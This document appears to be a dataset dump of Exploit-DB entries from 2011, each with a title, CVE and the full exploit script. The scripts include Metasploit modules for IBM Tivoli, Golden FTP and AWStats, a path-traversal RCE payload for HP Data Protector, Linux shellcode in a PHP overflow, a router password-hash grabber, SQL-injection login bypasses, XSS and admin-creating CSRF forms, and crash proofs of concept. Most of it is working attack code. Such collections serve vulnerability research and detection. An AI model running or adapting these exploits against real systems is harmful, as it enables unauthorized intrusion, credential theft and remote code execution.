QLWD/code_shield huggingface dataset:
标题: Mozilla Firefox - 'nsTreeRange' Dangling Pointer (2) EDB-ID: 17419 CVE: 2011-0073 类型: REMOTE 平台: WINDOWS 发布日期: 2011-06-20 漏洞利用脚本: Advisory :


Abysssec Public Exploit :

This module exploits a code execution vulnerability in Mozilla
Firefox <= 3.6.16 caused by nsTreeSelection element. The specific flaw
exists within the way Firefox handles user defined functions of
a nsTreeSelection element. When executing the function
invalidateSelection it is possible to free the nsTreeSelection object
that the function operates on. Any further operations on the freed
object can result in remote code execution.this exploit module is only
tested on win7 and used a Another JAVA ROPto defeat DEP/ASLR (due to
there is no more non-aslr module in Firefox) and in my tests works
reliably on Windows7.

there is two version of this exploit XP and 7 and both use different
method that used in MSF Exploit bounty !

XP   Version: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17419-1.zip (nsTreeRange_XP.zip)
Win7 Version: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17419-2.zip (nsTreeRange_7.zip)




questions / comments : Info [at] abysssec.com URL: https://www.exploit-db.com/exploits/17419
标题: Opera Web Browser 11.11 - Remote Crash EDB-ID: 17396 CVE: 2011-2641 类型: DOS 平台: WINDOWS 发布日期: 2011-06-14 漏洞利用脚本: <html>
  <body>
   <iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;"></iframe>
   <script type="text/javascript"  language="javascript">
  
    /*
    *               
    * Opera 11.11 Remote  Crash 
    * Software link: http://www.opera.com/download/
    * Tested on: Win32 xp home sp 3    
    * CVE : null
    *         
    * Im too lazy to deep analyze this ,but i thing is just unexploitable crash 
    * so f****jixvt
    *      ( dla klechis³awa i jego kosiarki :i )
    *    
    */                
  
      var a = window.document.getElementById('bo0om');
      var b = a.contentDocument.createElement('font');
      a.src='about:blank';
      setTimeout('b.face = "h3h";',500);
      
   </script>
  </body>
</html> URL: https://www.exploit-db.com/exploits/17396
标题: IBM Tivoli Endpoint Manager - POST Query Buffer Overflow (Metasploit) EDB-ID: 17392 CVE: 2011-1220 类型: REMOTE 平台: WINDOWS 发布日期: 2011-06-12 漏洞利用脚本: ##
# $Id: ibm_tivoli_endpoint_bof.rb 12925 2011-06-12 00:04:55Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IBM Tivoli Endpoint Manager POST Query Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow in the way IBM Tivoli 
    Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query 
    arguments.

    This issue can be triggered by sending a specially crafted HTTP POST request to 
   the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization
   is required. This exploit makes use of a second vulnerability, a hardcoded account 
   (tivoli/boss) is used to bypass the authorization restriction.
   },
   'Author'         =>
    [
     'bannedit', # metasploit module
     'Jeremy Brown <0xjbrown[at]gmail.com>', # original public exploit
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12925 $',
   'References'     =>
    [
     [ 'CVE', '2011-1220'],
     [ 'OSVDB', '72713'], # buffer overflow
     [ 'OSVDB', '72751'], # hardcoded account
     [ 'BID', '48049'],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-169/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0d\x0a",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows Server 2003 SP0', { 'Ret' => 0x77d80787 }], # user32.dll - jmp esp
     ['Windows Server 2003 SP1', { 'Ret' => 0x77403680 }], # user32.dll - jmp esp
     ['Windows Server 2003 SP2', { 'Ret' => 0x77402680 }], # user32.dll - jmp esp
    ],
   'DisclosureDate' => 'May 31 2011'))

  register_options(
   [
    Opt::RPORT(9495),
   ], self.class )
 end

 def exploit
  print_status("Trying target #{target.name}...")

  auth = Rex::Text.encode_base64("tivoli:boss")
  varname = rand_text_alpha(rand(10))

  sploit = make_nops(1) * 256
  sploit << [target.ret].pack('V')
  sploit << payload.encoded
  
  print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
  res = send_request_cgi({
   'uri'          => '/addr',
   'method'       => 'POST',
   'headers'      =>
   {
    'Authorization' => "Basic #{auth}"
   },
   'vars_post'    =>
   {
    varname => sploit,
   },
  }, 5)

  handler
 end
end URL: https://www.exploit-db.com/exploits/17392
标题: SUBRION CMS - Multiple Vulnerabilities EDB-ID: 17390 CVE: 2011-5212 2011-5211 类型: WEBAPPS 平台: PHP 发布日期: 2011-06-11 漏洞利用脚本: 1.SUBRION CMS multiple vulnerabilties
  vendor: www.subrion.com
  Author: Karthik R (3psil0nLambDa)
  Email:  Karthik.cupid@gmail.com
  My blog: epsilonlambda.co.cc
  Google dork:  © 2011 Powered by Subrion CMS 

------------------------------------------------------------------------------------------------------------------------------------------------------------

Description about the CMS

  Subrion CMS unites the functionality of articles script, auto classifieds script, realty classifieds script, and web directory script all in one package. Subrion's highly scalable set of key features makes it a powerful   
  platform for web sites.
  Subrion CMS is easy to install and simple to manage. Use it as a stand-alone application or in conjunction with     other applications to create entry level sites, mid-sized or large sites. You can be confident that you will be     able to invest in this system and continue to grow it to any possible level.

------------------------------------------------------------------------------------------------------------------------------------------------------------
* SQLi  Vulnerability

The attackers can use the authentication bypass to get in to the admin panel in the site. 

Exploit: Username: ' or 0=0 #
  Password: ' or 0=0 #

* Persistent XSS vulnerability

The Poll module,Manage pages are vulnerable to persistent XSS in the title field.

Exploit: "><IFRAME SRC="javascript:alert('XSS');"></IFRAME>


* Products like: Auto Classifieds, Articles Script, Auto Classifieds, Real estate script, Web directory run on the same CMS, and hence are vulnerable too.

------------------------------------------------------------------------------------------------------------------------------------------------------------

Thanks to side-effects for his valuable guidance and greets to taashu for her love and support. URL: https://www.exploit-db.com/exploits/17390
标题: Golden FTP Server 4.70 - PASS Stack Buffer Overflow (Metasploit) EDB-ID: 17355 CVE: 2006-6576 类型: REMOTE 平台: WINDOWS 发布日期: 2011-06-02 漏洞利用脚本: #
# $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in the Golden
    FTP service. This module uses the PASS command to trigger the overflow.
   },
   'Author'         => [ 'bannedit' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12812 $',
   'References'     =>
    [
     [ 'BID', '45957 '],
     [ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 350,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform'       => ['win'],
   'Targets'        =>
    [
     [
      'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
      {
       'Platform' => 'win',
       'Ret'      => 0x00a93ca6,
      },
     ]

    ],
   'DisclosureDate' => 'Jan 23 2011'))
 end
 
 def check
  connect
  disconnect
  print_status("FTP Banner: #{banner}".strip)
  if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  if datastore['RHOST'].length < 15
   pad = make_nops(1) * (15 - datastore['RHOST'].length)
  end
  
  sploit = make_nops(4) * 38
  sploit << payload.encoded
  sploit << pad
  sploit << make_nops(1) * (528 - sploit.length)
  sploit << [target.ret].pack('V')

  print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
  begin
   connect
   send_user("anonymous")
   send_cmd(['PASS', sploit], false)
   handler
  rescue EOFError
  end
 end
end URL: https://www.exploit-db.com/exploits/17355
标题: HP Data Protector Client 6.11 - 'EXEC_CMD' Remote Code Execution EDB-ID: 17339 CVE: 2011-0923 类型: REMOTE 平台: WINDOWS 发布日期: 2011-05-28 漏洞利用脚本: # Exploit Title: HP Data Protector Client EXEC_CMD Remote Code Execution Vulnerability PoC (ZDI-11-055)
# Date: 2011-05-28
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 6.11
# Tested on: Windows 2003 Server SP2 en
# CVE: CVE-2011-0923
# Notes: ZDI-11-055
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143
#
# Greetz to all the Exploit-DB Dev Team.

import socket
import sys

if len(sys.argv) != 3:
    print "Usage: ./ZDI-11-055.py <Target IP> <Port>"
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

# The following PoC takes advantage of a Directory Path Traversal to execute ipconfig.exe on the remote host. 
# Tweak payload to better suit your needs.
payload = (
"\x00\x00\x00\xa4\x20\x32\x00\x20\x66\x64\x69\x73\x6b\x79\x6f\x75"
"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x66\x64\x69"
"\x73\x6b\x79\x6f\x75\x00\x20\x43\x00\x20\x32\x30\x00\x20\x66\x64"
"\x69\x73\x6b\x79\x6f\x75\x00\x20\x50\x6f\x63\x00\x20\x4e\x54\x41"
"\x55\x54\x48\x4f\x52\x49\x54\x59\x00\x20\x4e\x54\x41\x55\x54\x48"
"\x4f\x52\x49\x54\x59\x00\x20\x4e\x54\x41\x55\x54\x48\x4f\x52\x49"
"\x54\x59\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
"\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x5c\x77\x69\x6e\x64\x6f\x77\x73"
"\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x69\x70\x63\x6f\x6e\x66"
"\x69\x67\x2e\x65\x78\x65\x00\x00")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "Sending payload"
s.send(payload)

while 1:
        data = s.recv(4096)
        if data:
                print data
        else:
                break

s.close() URL: https://www.exploit-db.com/exploits/17339
标题: Belkin F5D7234-4 v5 G Wireless Router - Remote Hash Exposed EDB-ID: 17349 CVE: 2012-2765 类型: WEBAPPS 平台: HARDWARE 发布日期: 2011-05-30 漏洞利用脚本: +-----------------------------------------+
| Belkin G Wireless Router Admin Exploit. |
+-----------------------------------------+

Firmware Version : 5.00.12 (Sep 10 2009 19:54:12)
Boot Version     : 1.18
Hardware         : F5D7234-4 v5 (01)
Author           : Aodrulez.
Email            : f3arm3d3ar@gmail.com
Twitter          : http://twitter.com/Aodrulez


+---------+
| Details |
+---------+

The router's web interface reveals the Administrator Password's
MD5 Hash. Its even possbile to bypass the login completely.


+---------+
| Exploit |
+---------+

#/usr/bin/perl
use LWP::Simple;
print "\n Aodrulez's 'Belkin G Wireless Router' Admin Exploit\n";
print "\n ---------------------------------------------------\n\n";
print "[+] Enter the Router's IP Address : ";
my $password=<STDIN>;
chomp($password);
$password=get("http://".$password."/login.stm") or die "\n[!] Wrong IP Address?\n";
my @aod=$password =~ m/var password = "(.*)";/g;
print "[+] Admin Password = ".@aod[0]." (MD5 Hash).\n\n";



+-------------------+
| Greetz Fly Out To |
+-------------------+
    
   
1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] str0ke (milw0rm)
4] www.orchidseven.com
5] www.malcon.org
6] www.isac.org.in
  
  
+-------+
| Quote |
+-------+
  
"Music is my Religion & Jimmy Page, my GOD." - Aodrulez URL: https://www.exploit-db.com/exploits/17349
标题: PHP 5.3.5 - 'socket_connect()' Local Buffer Overflow EDB-ID: 17318 CVE: 2011-1938 类型: LOCAL 平台: MULTIPLE 发布日期: 2011-05-25 漏洞利用脚本: <?php
// Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian 
// Affected Versions: 5.3.3-5.3.6 

echo "[+] CVE-2011-1938";
echo "[+] there we go...\n";
define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3");
define('EVIL_SPACE_SIZE', 1024*1024*8);
$SHELLCODE = 
        "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0".
        "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1".
        "\xcd\x80";
echo "[+] creating the sled.\n";

$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
        $i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}

$b = str_repeat("A", 196).EVIL_SPACE_ADDR;
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
echo "[+] popping shell, have fun (if you picked the right address...)\n";
$var85 = socket_connect($var79,$b);
?> URL: https://www.exploit-db.com/exploits/17318
标题: AWStats Totals 1.14 multisort - Remote Command Execution (Metasploit) EDB-ID: 17324 CVE: 2008-3922 类型: WEBAPPS 平台: PHP 发布日期: 2011-05-25 漏洞利用脚本: ##
# $Id: awstatstotals_multisort.rb 12715 2011-05-25 10:45:36Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AWStats Totals =< v1.14 multisort Remote Command Execution',
   'Description'    => %q{
     This module exploits an arbitrary command execution vulnerability in the
     AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12715 $',
   'References'     =>
    [
     ['CVE', '2008-3922'],
     ['OSVDB', '47807'],
     ['BID', '30856'],
     ['URL', 'http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 512,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Aug 26 2008',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URI', [true, "The full URI path to awstatstotals.php", "/awstatstotals/awstatstotals.php"]),
    ], self.class)
 end

 def check
  res = send_request_cgi({
   'uri'      => datastore['URI'],
   'vars_get' =>
   {
    'sort' => '"].phpinfo().exit().$a["'
   }
  }, 25)

  if (res and res.body.match(/localhost/))
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  command = Rex::Text.uri_encode(payload.encoded)
  sploit = datastore['URI'] + '?sort="].passthru(\'echo%20YYY;' + command + ';echo%20YYY;\').exit().%24a["'

  res = send_request_raw({
   'uri'     => sploit,
   'method'  => 'GET',
   'headers' =>
   {
    'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
    'Connection' => 'Close',
   }
  }, 25)

  if (res)
   print_status("The server returned: #{res.code} #{res.message}")

   m = res.body.match(/YYY\n(.*)\nYYY/m)

   if (m)
    print_status("Command output from the server:")
    print("\n" + m[1] + "\n\n")
   else
    print_status("This server may not be vulnerable")
   end
  else
   print_status("No response from the server")
  end
 end

end URL: https://www.exploit-db.com/exploits/17324
标题: Libmodplug 0.8.8.2 - '.abc' Stack Buffer Overflow (PoC) EDB-ID: 17222 CVE: 2011-1761 类型: DOS 平台: LINUX 发布日期: 2011-04-28 漏洞利用脚本: #include <libmodplug/modplug.h>
#include <stdio.h>
#include <string.h>

/*
libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc

http://modplug-xmms.sourceforge.net/

by: epiphant

this exploits one of many overflows in load_abc.cpp lol

vlc media player uses libmodplug

greets: defrost, babi, ming_wisher, emel1a, a.v., krs

date: 28 april 2011

tested on: centos 5.6
*/

int main(void)
{
  char test[512] = "X: 1\nU: ";
  unsigned int i;

  i = strlen(test);
  while (i < 278)
    test[i++] = 'Q';
  test[i++] = '1' + 32;
  test[i++] = '3';
  test[i++] = '3';
  test[i++] = '4';
  while (i < 286)
    test[i++] = 'A';
  test[i++] = '\n';
  test[i] = '\0';

  strcat(test, "T: Here Without You (Transcribed by: Bungee)\n");
  strcat(test, "Z: 3 Doors Down\n");
  strcat(test, "L: 1/4\n");
  strcat(test, "Q: 108\n");
  strcat(test, "K: C\n\n");
  strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n");

  i = strlen(test);
  ModPlug_Load(test, i);

  return 0;
} URL: https://www.exploit-db.com/exploits/17222
标题: PHP 'phar' Extension 1.1.1 - Heap Overflow EDB-ID: 17201 CVE: 2012-2386 类型: DOS 平台: MULTIPLE 发布日期: 2011-04-22 漏洞利用脚本: from: http://0x1byte.blogspot.com/2011/04/php-phar-extension-heap-overflow.html
version PHP:  5.3.6
version phar ext.: 1.1.1
site: http://php.net/
source code: http://windows.php.net/downloads/releases/php-5.3.6-src.zip

An integer overflow vulnerability leading to a heap overflow in the file ..\php-5.3.6\ext\phar\tar.c.


int phar_parse_tarfile(php_stream* fp, char *fname, int fname_len, char *alias, int alias_len, phar_archive_data** pphar, int is_data, php_uint32 compression, char **error TSRMLS_DC) /* {{{ */
{
//.....
size = entry.uncompressed_filesize = entry.compressed_filesize =
phar_tar_number(hdr->size, sizeof(hdr->size)); //(*)
//.....
if (!last_was_longlink && hdr->typeflag == 'L') {
last_was_longlink = 1;
/* support the ././@LongLink system for storing long filenames */
entry.filename_len = entry.uncompressed_filesize;
entry.filename = pemalloc(entry.filename_len+1, myphar->is_persistent); //(**)

read = php_stream_read(fp, entry.filename, entry.filename_len); //(***)
//.....

If entry.filename_len(which attacker can control) equal 0xffffffff, pemalloc() will allocate zero length buffer. Then php_stream_read() get as a length parameter 0xffffffff value. Because php_stream_read () checks that the passed length does not exceed the amount of data available, the buffer overflow sizes are available from the data stream.

POC code (MIME encoded):
php_phar.zip begin
 
UEsDBBQAAAAIAA96ez4k50+6aQAAAG0AAAAIAAAAcGhhci5waHAVi0sKgzAQ
QPeeYhoKTjbpAfpx1ULBhTcYghlxUJMhCnp8ze7xeO/V6KggA+CNj43jKinS
nHzggEZHn421EITRrJOosc+quhcNb4i8Q3chBsnRL4xEv3/7JbLgoH5o6l0p
3eZzXb7mcwJQSwMEFAAAAAgAMbB7PrO7HsFRAAAAmxAAAAwAAABwb2MucGhh
ci50YXLtzTsKgDAQRdFZiisQM9HJJtxEQEEbCX7A5RsrC2u18J7y8eCOU9fv
ZRqSPKfKzOy2h4s4V2ndmFevct590KKVF2zLGueclH+KAAAAAAB86wBQSwEC
FAAUAAAACAAPens+JOdPumkAAABtAAAACAAAAAAAAAAAACAAAAAAAAAAcGhh
ci5waHBQSwECFAAUAAAACAAxsHs+s7sewVEAAACbEAAADAAAAAAAAAAAACAA
AACPAAAAcG9jLnBoYXIudGFyUEsFBgAAAAACAAIAcAAAAAoBAAAAAA==
 
end

PHP POC:
<?php if (!extension_loaded("phar")) die("skip");

$phar = new Phar(dirname(__FILE__) . '/poc.phar.tar');

?>

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17201.phar.tar (poc.phar.tar) URL: https://www.exploit-db.com/exploits/17201
标题: SocialCMS 1.0.2 - Multiple Cross-Site Request Forgery Vulnerabilities EDB-ID: 17193 CVE: 2012-1416 类型: WEBAPPS 平台: PHP 发布日期: 2011-04-20 漏洞利用脚本: <!---
    Title: socialcms1.0.2 Multiple CSRF Vulnerabilities
    Author: vir0e5 a.k.a banditc0de <vir0e5@yahoo.com>
    Date: Wed 20 april 2011 11:18:22 AM
    Vendor: www.socialcms.com 
    Download: http://sourceforge.net/projects/socialcms/
--->

<!-- Create Admin User -->

<body onload='document.csrf.submit()'>
 <form method="POST" name="csrf" action="http://localhost/web_test/socialcms/my_admin/admin1_members.php?action=member_new&page=1&mID=1"  class="form">
  <p><input type="hidden" name="TR_login_name" value="vir0e5"></p>
  <p><input type="hidden" name="TR_firstname" value="bandit"></p>
  <p><input type="hidden" name="TR_lastname" value="c0de"/></p>
  <p><input type="hidden" name="TREF_email_address" value="vir0e5@hackermail.com"/></p>
  <p><input type="hidden" name="TR_group_level" value=""/></p>
  <input type="hidden" name="update" value="update" type="submit" />
 </form>
</body>
 
<!-- Default site title -->
<body onload='document.csrf.submit()'>
 <form method="POST" name="csrf" action="http://localhost/web_test/socialcms/my_admin/admin1_configuration.php?gid=1&id=36&action=save"  class="form">
  <p><input type="hidden" name="TR_configuration_title" value="Default site title"></p>
  <p><input type="hidden" name="TR_configuration_name" value="CSRF VULN"></p>
  <p><input type="hidden" name="TR_configuration_value" value="HACKED"/></p>
  <p><input type="hidden" name="configuration_description" value="CSRF"/></p>
  <p><input type="hidden" name="IN_configuration_priority" value="0"/></p>
  <input type="hidden" name="update" value="update" type="submit" />
 </form>

****************-------**DCI2k7**--------*****************
[+] Greetings :[ mywisdom - kiddies - kamtiez - r3m1ck - aciz_n1nj4 | mozartklik |syafm0vic- 

skuteng_boy - blue_screen - agdi_cool - dangercode14045 - dewancc and YOU!!!! ] ;

[+] Forum [as member] : http://indonesian-cyber.org | http://tecon-crew.org | 

http://devilzc0de.org | http://santricyber.org | http://indonesiancoder.com | 

http://cyber4rt.com And OTHER's

Cause i'm Alone!! URL: https://www.exploit-db.com/exploits/17193